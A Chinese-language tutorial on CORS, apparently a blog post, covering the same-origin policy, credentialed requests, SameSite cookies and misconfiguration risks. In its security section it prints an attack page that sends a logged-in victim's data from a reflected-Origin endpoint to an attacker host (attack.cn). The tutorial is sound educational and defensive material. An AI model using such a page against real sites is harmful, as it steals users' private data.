跨源资源共享(CORS) 学习笔记

300 阅读6分钟

0x1 同源策略

例:https://www.test.com:8080

同源策略限制下,协议(https)、域名(www.test.com) 和端口(8000)必须保持一致。

0x2 Access-Control-Allow-Origin

CORS 即跨域资源共享。

在业务中,经常访问跨域资源,比如使用ajax进行跨越请求获取数据,那么该如何实现呢?

有两个站点,A网站 http://attack.cn:8000,B网站 https://phptest.cn

A站使用 ajax 请求B网站的资源,如下

A站 cors.html代码

<!DOCTYPE html>
<html>
<head>
    <title>CORS test Demo</title>
    <meta charset="utf-8">
</head>
<script type="text/javascript">
    var xhr = new XMLHttpRequest();
    xhr.open("GET","https://phptest.cn/cors/hello.php", true);	
    xhr.onload = reqListener;
    xhr.send();
    function reqListener(){
        alert("跨域获取===>【" + this.responseText + "】");
    }
</script>
<body>
    <h1>CORS Test!</h1>
</body>
</html>

B站 hello.php

<?php
echo "<h1>Hello :)</h1>";
?>

浏览器访问 http://attack.cn:8000/cors.html 后,接着是 ajax发送请求到https://phptest.cn/cors/hello.php 获取数据,将数据进行弹窗提示。

先看看效果

可以看到跨越请求,浏览器会自动在HTTP头部添加了一个字段Origin,即告诉服务器这个请求从哪里发送过来的。因A站和B站不符合同源策略要求,浏览器提示错误信息。

Access to XMLHttpRequest at 'https://phptest.cn/cors/hello.php' from origin 'http://attack.cn:8000' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

从抓包上看虽然请求有响应数据,但客户端无法获取,弹窗无提示。

提示信息告诉我们需要HTTP响应头部返回 Access-Control-Allow-Origin 信息,因此修改B站代码如下,设置了 Access-Control-Allow-Origin: http://attack.cn:8000

<?php
header("Access-Control-Allow-Origin: http://attack.cn:8000");
echo "<h1>Hello :)</h1>";
?>

再次尝试,跨越请求成功了。

设置为任意域访问情况

Access-Control-Allow-Origin: *

不匹配的情况

Access-Control-Allow-Origin: http://www.baidu.com

0x3 Access-Control-Allow-Credentials,有身份凭据的CORS

下面,考虑跨域请求需要身份凭证的情况;

场景如下,B站 https://phptest.cn/cors/get_data.php 需要cookie信息才可以正常访问。

再次使用 ajax 发送对 https://phptest.cn/cors/get_data.php 的跨域请求

一般而言,对于跨源 XMLHttpRequest 请求,浏览器不会发送身份凭证信息。如果要发送凭证信息,需要设置 XMLHttpRequest 的某个特殊标志位,将 XMLHttpRequestwithCredentials 标志设置为 true,从而向服务器发送 Cookies。同时服务器需要设Access-Control-Allow-Credentials: true,否则浏览器将不会把响应内容返回给请求的发送者。

修改A站的 cors.html,如下添加了 xhr.withCredentials = true;

<!DOCTYPE html>
<html>
<head>
	<title>CORS test Demo</title>
	<meta charset="utf-8">
</head>
<script type="text/javascript">
	var xhr = new XMLHttpRequest();
	xhr.open("GET","https://phptest.cn/cors/get_data.php", true);	
	xhr.onload = reqListener;
	xhr.withCredentials = true; //使浏览器跨域请求时可以发送身份凭证信息
	xhr.send();
	function reqListener(){
		alert("跨域获取===>【" + this.responseText + "】");
	}
</script>
<body>
	<h1>CORS Test!</h1>
</body>
</html>

其次B站 get_data.php 设置响应头 Access-Control-Allow-Credentials: true

<?php
session_start();
header("Access-Control-Allow-Credentials: true"); //允许客户端携带身份凭证信息
header("Access-Control-Allow-Origin: http://attack.cn:8000");
if(isset($_SESSION['username'])){
    echo "Your username is ".$_SESSION['username']." :)";
}
else{
    Header("Location: /cors/login.php");
}
?>

效果如下

客户端跨越请求携带了cookie,成功获取数据。

再看下 Access-Control-Allow-Credentials 未设置的情况

跨域请求携带cookie 没有问题,但是浏览器不会把响应内容返回给请求的发送者,即无弹窗提示。

Access to XMLHttpRequest at 'https://phptest.cn/cors/get_data.php' from origin 'http://attack.cn:8000' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

特殊情况

当响应的是附带身份凭证的请求时,服务端必须明确 Access-Control-Allow-Origin 的值,而不能使用通配符“*”。

Access to XMLHttpRequest at 'https://phptest.cn/cors/get_data.php' from origin 'http://attack.cn:8000' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

0x4 http协议情况下的CORS问题

上面B站是https协议,下面测试http协议情况,发现和浏览器版本有关。

A站还是 http://attack.cn:8000/cors.html

B站 **http:**//phptest.cn/cors/get_data.php,注意这里是http协议

代码还是和之前还是一样的

测试发现在新版本浏览器条件下,xhr 即使设置了xhr.withCredentials = true ,对 http 的跨域请求并不会携带用户cookie信息,如下

特别注意到,浏览器给Set-Cookie 位置标注的提示信息,如下

关于SameSite cookies 参考了相关文档文章,发现从Chrome 51开始,浏览器的Cookie新增加了一个 SameSite 属性,用来防止CSRF攻击和用户追踪。

SameSite 可以设置3个值

  • Strict:完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。
  • Lax:大多数情况不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。
  • None:对于正确支持 None 的浏览器,可以正确发送相关 cookie。

上面报错提示信息里,SameSite 是 Lax,跨域请求不发送Cookie,需要是None才可以。同使用 None 时,需在最新的浏览器版本中使用 Secure 属性。

若使用的是PHP,可进行如下设置

修改php.ini,配置SameSite=None

同时_设置 cookie 的 Secure属性_

效果

提示未通过安全连接发送,因为不是https协议。

Nginx 配置https,如下

先使用openssl生成自己的https证书,然后再Nginx里进行配置。

这样就可以使用 https 协议来访问 B站了, https://phptest.cn/cors/index.html

跨域请求也成功了,就和之前的是一样啦 : )

0x5 CORS 跨域安全

上面讨论了跨域请求的实现和常见问题,但如果跨域配置不当,容易引发安全问题,导致用户隐私数据泄露。

攻击场景

用户 Alice 登录了 B站 https://phptest.cn/index.html

攻击者 Bob 想获取到Alice在B站的数据信息,因为没Alice的身份凭证,所以直接无法获取。

如果CORS配置不当,Bob 可以利用跨越请求,间接获取到Alice用户的数据。

以下仅考虑需要用户凭证的跨越请求攻击,即响应头有 Access-Control-Allow-Credentials: true。

情况1:Access-Control-Allow-Origin 可被控制,可以利用

先来看get_data的HTTP请求

HTTP请求头中没有 Origin 时,响应头里也没有 Access-Control-Allow-Origin。加上Origin后,响应头里的 Access-Control-Allow-Origin 就有了,且两者一样。

为什么 Access-Control-Allow-Origin 的值可以由客户端请求决定呢?因为Nginx上的配置如下

即取 HTTP 请求头的 Origin 的值。

又因为 Access-Control-Allow-Credentials: true,跨域请求可携带Cookie信息,get_data.php有权限返回数据,因此可以进行CORS攻击。

首先 攻击者 Bob 搭建CORS攻击页面 http://attack.cn/cors.html 如下,

<!DOCTYPE html>
<html>
<head>
	<title>CORS test Demo</title>
	<meta charset="utf-8">
</head>
<script type="text/javascript">
	var xhr = new XMLHttpRequest();
	xhr.open("GET","https://phptest.cn/cors/get_data.php", true);	
	xhr.onload = reqListener;
	xhr.withCredentials = true; //使浏览器跨域请求时可以发送身份凭证信息
	xhr.send();
	function reqListener(){
		alert("跨域获取===>【" + this.responseText + "】");
		window.open("http://attack.cn:8000/recive?user_data=" + this.responseText);
	}
</script>
<body>
	<h1>CORS Test!</h1>
</body>
</html>

通过 ajax 跨域请求 B站 https://phptest.cn/cors/get_data.php,将获取到数据在发送给 A站 attack.cn:8000。

接着,攻击者发送 http://attack.cn:8000 /cors.html 给用户 Alice,注意此时 Alice 的浏览器已经登录了 B站。

情况2:Access-Control-Allow-Origin: *  ,无法利用

这种配置即信任所有的域,但是这种跨越请求不能携带Cookie信息,攻击者无法获取需要身份认证的请求返回的数据。

对于附带身份凭证的请求(通常是 Cookie),服务器不得设置 Access-Control-Allow-Origin 的值为“*”。即 Access-Control-Allow-Origin: * ,Access-Control-Allow-Credentials: true 不能同时使用。

防范

  1. 非必要不开启 CORS
  2. 指定 Access-Control-Allow-Origin 的白名单

参考资料